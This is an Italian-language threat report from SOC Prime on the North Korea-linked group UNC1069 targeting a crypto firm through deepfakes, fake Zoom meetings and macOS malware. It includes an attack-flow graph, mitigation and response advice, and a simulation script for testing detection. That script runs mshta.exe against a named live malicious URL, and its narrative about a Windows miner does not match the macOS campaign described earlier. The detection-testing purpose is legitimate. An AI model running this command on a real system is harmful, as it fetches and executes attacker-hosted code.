UNC1069 Colpisce Il Settore Delle Criptovalute Con Nuovi Strumenti e Social Engineering Abilitato dall’AI

Ruslan Mikhalov Chief of Threat Research at SOC Prime

Segui

UNC1069 Colpisce Il Settore Delle Criptovalute Con Nuovi Strumenti e Social Engineering Abilitato dall’AI

Detection stack

AIDR
Alert
ETL
Query

Rapporto
Flusso di Attacco
Rilevamenti
Simulazioni

Riepilogo

UNC1069 collegato alla Corea del Nord ha preso di mira una FinTech crypto utilizzando un’intrusione a più fasi che ha combinato video deepfake generati da AI, account Telegram compromessi e una falsa riunione su Zoom per spingere le vittime a eseguire comandi malevoli.

Indagine

Mandiant ha identificato sette famiglie di malware su un host macOS, tra cui i nuovi SILENCELIFT, DEEPBREATH e CHROMEPUSH, oltre al noto downloader SUGARLOADER. La catena è iniziata con un comando in stile ClickFix che ha recuperato un payload da un dominio malevolo, poi si è evoluta attraverso loader e backdoor che rubavano credenziali, dati del browser e contenuti di messaggistica. Le fasi successive hanno utilizzato un’esecuzione modulare residente in memoria per minimizzare le tracce su disco.

Mitigazione

Rafforzare la verifica attraverso i canali di ingegneria sociale, limitare l’esecuzione di script non firmati e monitorare l’uso anomalo di curl o mshta. Su macOS, applicare il controllo di firma del codice e dei launch-daemon e auditare i permessi TCC e le directory dei native-messaging host per file sconosciuti.

Risposta

Isolare l’endpoint, preservare gli artefatti da riga di comando, recuperare il plist del launch-daemon malevolo e bloccare tutti i domini C2 identificati. Resettare il portachiavi, il browser e le credenziali di Telegram e completare una ricerca per rilevare loader residui. Rivedere gli account colpiti per accessi non autorizzati e coordinare la contenzione.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#99ff99 %% Nodes action_initial_access["Azione – T1204.001 Esecuzione Utente: Link malevolo consegnato tramite account Telegram compromesso e falsa riunione Zoom Descrizione: La vittima ha copiato ed eseguito stringhe di comando"] class action_initial_access action tool_telegram["Strumento – Nome: Telegram (compromesso) Ruolo: Canale di consegna per il link malevolo"] class tool_telegram tool tool_zoom["Strumento – Nome: Zoom (riunione falsificata) Ruolo: Vettore di ingegneria sociale"] class tool_zoom tool action_execution_unix_shell["Azione – T1059.004 Unix Shell: Esegui comando curl tramite zsh per scaricare WAVESHAPER Descrizione: Scarica e esegue backdoor"] class action_execution_unix_shell action tool_curl["Strumento – Nome: curl Scopo: Recuperare payload remoto"] class tool_curl tool malware_waveshaper["Malware – Nome: WAVESHAPER Funzione: Backdoor scaricata e eseguita"] class malware_waveshaper malware action_execution_mshta["Azione – T1218.005 Esecuzione Mshta Proxy: Usa mshta per recuperare e far funzionare il downloader HYPERCALL"] class action_execution_mshta action tool_mshta["Strumento – Nome: mshta Scopo: Esegui applicazione HTML remota"] class tool_mshta tool malware_hypercall["Malware – Nome: HYPERCALL Funzione: Downloader eseguito tramite mshta"] class malware_hypercall malware process_launch_daemon["Processo – T1543.004 Launch Daemon: com.apple.system.updater Scopo: Esegue SUGARLOADER all’avvio del sistema"] class process_launch_daemon process malware_sugarloader["Malware – Nome: SUGARLOADER Funzione: Componente persistente"] class malware_sugarloader malware action_defense_evasion["Azione – T1027.004 Compilare Dopo Consegna: Cripta configurazione con RC4 per nascondere URL C2"] class action_defense_evasion action malware_deepbreath["Malware – Nome: DEEPBREATH Capacità: Accesso a Keychain e store del browser"] class malware_deepbreath malware action_cred_keychain["Azione – T1555.001 Keychain: Estrai credenziali da macOS Keychain"] class action_cred_keychain action action_cred_browser["Azione – T1555.003 Web Browser: Estrai cookie, login, estensioni da Chrome Brave Edge"] class action_cred_browser action malware_chromepush["Malware – Nome: CHROMEPUSH Capacità: Keylogger come estensione del browser"] class malware_chromepush malware action_keylogging["Azione – T1056.001 Keylogging: Cattura battiture tramite estensione malevola"] class action_keylogging action action_local_staging["Azione – T1074.001 Archiviazione Dati Locali: Memorizza i dati raccolti in directory temporanee"] class action_local_staging action action_remote_staging["Azione – T1074.002 Archiviazione Dati Remoti: Carica i dati archiviati nel C2 utilizzando curl"] class action_remote_staging action action_c2_http["Azione – T1102.003 Servizio Web Oneu2011Way: Invia dati esfiltrati tramite HTTP POST"] class action_c2_http action action_exfiltration["Azione – T1020 Esfiltrazione Automatica: Caricamento automatico dei dati ai server C2"] class action_exfiltration action %% Connections action_initial_access –>|uses| tool_telegram tool_telegram –>|delivers link to| tool_zoom tool_zoom –>|leads to| action_execution_unix_shell action_execution_unix_shell –>|executes| tool_curl tool_curl –>|downloads| malware_waveshaper malware_waveshaper –>|triggers| action_defense_evasion action_initial_access –>|also triggers| action_execution_mshta action_execution_mshta –>|uses| tool_mshta tool_mshta –>|retrieves| malware_hypercall malware_hypercall –>|installs| process_launch_daemon process_launch_daemon –>|starts| malware_sugarloader malware_sugarloader –>|loads| malware_deepbreath malware_deepbreath –>|performs| action_cred_keychain malware_deepbreath –>|performs| action_cred_browser malware_deepbreath –>|installs| malware_chromepush malware_chromepush –>|executes| action_keylogging action_keylogging –>|stores data in| action_local_staging action_local_staging –>|uploads via curl to| action_remote_staging action_remote_staging –>|sends data to| action_c2_http action_c2_http –>|facilitates| action_exfiltration %% Class assignments class action_initial_access,action_execution_unix_shell,action_execution_mshta,action_defense_evasion,action_cred_keychain,action_cred_browser,action_keylogging,action_local_staging,action_remote_staging,action_c2_http,action_exfiltration action class tool_telegram,tool_zoom,tool_curl,tool_mshta tool class malware_waveshaper,malware_hypercall,malware_sugarloader,malware_deepbreath,malware_chromepush malware class process_launch_daemon process "

Flusso di Attacco

11 Feb 2026

Esecuzione di Simulazione

Prerequisito: Il Controllo di Telemetria & Baseline Pre-volo deve essere stato superato.

Motivo: Questa sezione descrive l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.

Narrativa dell’Attacco & Comandi:
L’avversario, avendo ottenuto un iniziale punto d’appoggio tramite un’email di phishing, sfrutta mshta per recuperare un’applicazione HTML malevola da https://mylingocoin.com/audio/fix/6454694440. Questo file HTA contiene un payload PowerShell che installa un miner di criptovaluta. Prima di lanciare l’HTA, l’attaccante esegue setx audio_volume 100 per garantire che il sottosistema audio si trovi in uno stato noto (alcune varianti della campagna ClickFix manipolano le impostazioni audio per nascondere i pop-up). Entrambi i comandi vengono eseguiti direttamente in una console PowerShell, producendo campi CommandLine che corrispondono esattamente alla regola Sigma.

Script di Test di Regressione:

# Simulazione Attacco UNC1069 ClickFix – attiva regola Sigma
# Passo 1: Persistere una variabile di ambiente dall'aspetto innocuo (corrisponde al rilevamento)
setx audio_volume 100

# Passo 2: Eseguire HTA malevolo – URL esatto utilizzato nel rilevamento della regola
$maliciousUrl = "https://mylingocoin.com/audio/fix/6454694440"
Start-Process -FilePath "mshta.exe" -ArgumentList $maliciousUrl

# Facoltativo: attendere alcuni secondi per lanciamenti HTA
Start-Sleep -Seconds 5

Comandi di Pulizia:

# Rimuovere la variabile di ambiente impostata in precedenza
reg delete "HKCUEnvironment" /v "audio_volume" /f

# Terminare eventuali processi mshta in sospeso generati dal test
Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force

Unisciti alla piattaforma Detection as Code di SOC Prime per migliorare la visibilità sulle minacce più rilevanti per il tuo business. Per aiutarti a iniziare e aumentare immediatamente il valore, prenota ora un incontro con gli esperti di SOC Prime.

Contatta le vendite